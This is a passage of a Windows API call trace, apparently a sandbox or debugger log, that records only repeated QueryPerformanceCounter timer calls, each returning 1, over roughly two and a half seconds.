[0202.086] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013682857251) returned 1
[0202.102] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013684437430) returned 1
[0202.102] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013684464440) returned 1
[0202.118] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013686006668) returned 1
[0202.118] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013686025479) returned 1
[0202.134] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013687609278) returned 1
[0202.134] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013687634987) returned 1
[0202.570] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013731226369) returned 1
[0202.570] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013731244812) returned 1
[0202.570] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013731281221) returned 1
[0202.570] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013731295922) returned 1
[0202.586] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013732870958) returned 1
[0202.586] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013732888001) returned 1
[0202.602] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013734430849) returned 1
[0202.602] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013734445902) returned 1
[0202.618] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013736030623) returned 1
[0202.618] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013736045814) returned 1
[0202.634] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013737611226) returned 1
[0202.634] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013737627010) returned 1
[0202.650] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013739210792) returned 1
[0202.650] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013739226233) returned 1
[0202.666] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013740813205) returned 1
[0202.666] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013740828418) returned 1
[0202.682] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013742415570) returned 1
[0202.682] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013742430835) returned 1
[0202.698] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013744017023) returned 1
[0202.698] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013744041944) returned 1
[0202.714] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013745615567) returned 1
[0202.714] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013745637468) returned 1
[0202.730] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013747219743) returned 1
[0202.730] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013747248748) returned 1
[0202.746] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013748826724) returned 1
[0202.746] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013748853593) returned 1
[0202.762] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013750412179) returned 1
[0202.762] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013750427135) returned 1
[0202.778] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013752013079) returned 1
[0202.778] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013752030391) returned 1
[0202.794] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013753609507) returned 1
[0202.794] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013753625646) returned 1
[0202.810] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013755223518) returned 1
[0202.810] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013755246799) returned 1
[0202.826] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013756809498) returned 1
[0202.826] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013756824672) returned 1
[0202.843] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013758515309) returned 1
[0202.843] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013758531195) returned 1
[0202.859] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013760181816) returned 1
[0202.859] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013760203301) returned 1
[0202.874] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013761634468) returned 1
[0202.875] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013761802028) returned 1
[0203.099] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013784118735) returned 1
[0203.099] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013784163416) returned 1
[0203.120] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013786262629) returned 1
[0203.120] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013786299578) returned 1
[0203.124] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013786668145) returned 1
[0203.125] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013786714836) returned 1
[0203.140] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013788214539) returned 1
[0203.140] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013788238482) returned 1
[0203.156] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013789820818) returned 1
[0203.156] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013789854502) returned 1
[0203.172] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013791415718) returned 1
[0203.172] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013791432043) returned 1
[0203.188] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013793016543) returned 1
[0203.188] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013793031642) returned 1
[0203.204] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013794607975) returned 1
[0203.204] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013794643643) returned 1
[0203.219] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013796199277) returned 1
[0203.220] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013796215156) returned 1
[0203.235] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013797793939) returned 1
[0203.236] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013797809539) returned 1
[0203.251] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013799391777) returned 1
[0203.252] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013799407514) returned 1
[0203.267] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013801004357) returned 1
[0203.268] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013801040757) returned 1
[0203.283] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013802589512) returned 1
[0203.284] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013802604732) returned 1
[0203.306] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013804905257) returned 1
[0203.307] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013804929247) returned 1
[0203.315] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013805790047) returned 1
[0203.316] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013805805645) returned 1
[0203.332] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013807437730) returned 1
[0203.332] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013807460434) returned 1
[0203.347] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013809002316) returned 1
[0203.348] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013809029775) returned 1
[0203.363] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013810592275) returned 1
[0203.364] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013810608297) returned 1
[0203.379] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013812179899) returned 1
[0203.379] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013812194729) returned 1
[0203.395] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013813773169) returned 1
[0203.395] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013813788233) returned 1
[0203.411] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013815376237) returned 1
[0203.411] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013815392149) returned 1
[0203.427] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013816973974) returned 1
[0203.427] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013816989408) returned 1
[0203.443] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013818573619) returned 1
[0203.443] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013818588754) returned 1
[0203.480] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013822267225) returned 1
[0203.480] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013822282672) returned 1
[0203.484] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013822630136) returned 1
[0203.484] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013822644514) returned 1
[0203.496] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013823811406) returned 1
[0203.496] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013823826633) returned 1
[0203.511] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013825380931) returned 1
[0203.511] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013825395793) returned 1
[0203.527] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013826988833) returned 1
[0203.528] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013827016284) returned 1
[0203.543] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013828536128) returned 1
[0203.543] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013828560120) returned 1
[0203.559] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013830125670) returned 1
[0203.559] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013830140872) returned 1
[0203.575] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013831722169) returned 1
[0203.575] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013831737207) returned 1
[0203.592] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013833437208) returned 1
[0203.592] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013833459882) returned 1
[0203.608] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013835016243) returned 1
[0203.608] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013835031254) returned 1
[0203.625] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013836788251) returned 1
[0203.626] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013836812108) returned 1
[0203.641] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013838326347) returned 1
[0203.641] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013838346602) returned 1
[0203.657] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013839962922) returned 1
[0203.657] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013839985927) returned 1
[0203.713] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013845591642) returned 1
[0203.714] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013845607822) returned 1
[0203.716] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013845843382) returned 1
[0203.716] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013845858775) returned 1
[0203.720] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013846291895) returned 1
[0203.721] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013846308315) returned 1
[0203.736] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013847897869) returned 1
[0203.737] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013847913759) returned 1
[0203.752] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013849493586) returned 1
[0203.753] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013849509220) returned 1
[0203.768] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013851102983) returned 1
[0203.769] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013851127100) returned 1
[0203.784] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013852703989) returned 1
[0203.785] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013852730883) returned 1
[0203.800] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013854301219) returned 1
[0203.801] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013854487207) returned 1
[0203.816] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013855902272) returned 1
[0203.817] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013855925830) returned 1
[0203.832] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013857497436) returned 1
[0203.833] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013857516654) returned 1
[0203.849] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013859135730) returned 1
[0203.849] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013859153926) returned 1
[0203.864] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013860703998) returned 1
[0203.865] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013860730309) returned 1
[0203.882] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013862440935) returned 1
[0203.882] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013862459334) returned 1
[0203.897] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013863995434) returned 1
[0203.898] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013864010509) returned 1
[0203.913] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013865601076) returned 1
[0203.914] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013865626624) returned 1
[0203.929] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013867183847) returned 1
[0203.929] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013867209954) returned 1
[0204.249] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013899163784) returned 1
[0204.249] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013899186984) returned 1
[0204.258] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013900065951) returned 1
[0204.258] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013900081008) returned 1
[0204.274] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013901702472) returned 1
[0204.275] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013901727834) returned 1
[0204.290] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013903275150) returned 1
[0204.290] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013903300887) returned 1
[0204.306] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013904866406) returned 1
[0204.306] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013904881667) returned 1
[0204.322] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013906469439) returned 1
[0204.322] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013906486222) returned 1
[0204.340] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013908208999) returned 1
[0204.340] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013908226965) returned 1
[0204.355] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013909776052) returned 1
[0204.355] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013909799007) returned 1
[0204.371] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013911369487) returned 1
[0204.371] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013911385881) returned 1
[0204.387] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013912969038) returned 1
[0204.387] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013913168163) returned 1
[0204.403] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013914571260) returned 1
[0204.403] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013914586422) returned 1
[0204.419] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013916173351) returned 1
[0204.419] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013916197226) returned 1
[0204.435] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013917771438) returned 1
[0204.435] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013917786851) returned 1
[0204.451] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013919368608) returned 1
[0204.451] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013919384475) returned 1
[0204.467] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013920967574) returned 1
[0204.467] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013920983493) returned 1
[0204.483] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013922567962) returned 1
[0204.483] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013922583035) returned 1
[0204.499] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013924165915) returned 1
[0204.499] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013924180640) returned 1
[0204.515] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013925769989) returned 1
[0204.515] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013925785361) returned 1
[0204.531] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013927382497) returned 1
[0204.532] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013927417662) returned 1
[0204.550] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013929218627) returned 1
[0204.550] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013929243422) returned 1
[0204.564] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013930672266) returned 1
[0204.564] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013930692825) returned 1
[0204.590] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013933242018) returned 1
[0204.590] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013933262475) returned 1
[0204.608] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013935034693) returned 1
[0204.608] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013935054330) returned 1
[0204.624] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013936611438) returned 1
[0204.624] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013936636773) returned 1
[0204.640] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013938220543) returned 1
[0204.640] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013938244872) returned 1
[0204.656] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013939809614) returned 1
[0204.656] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013939834591) returned 1
[0204.671] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013941401713) returned 1
[0204.672] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013941417012) returned 1
[0204.687] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013943004647) returned 1
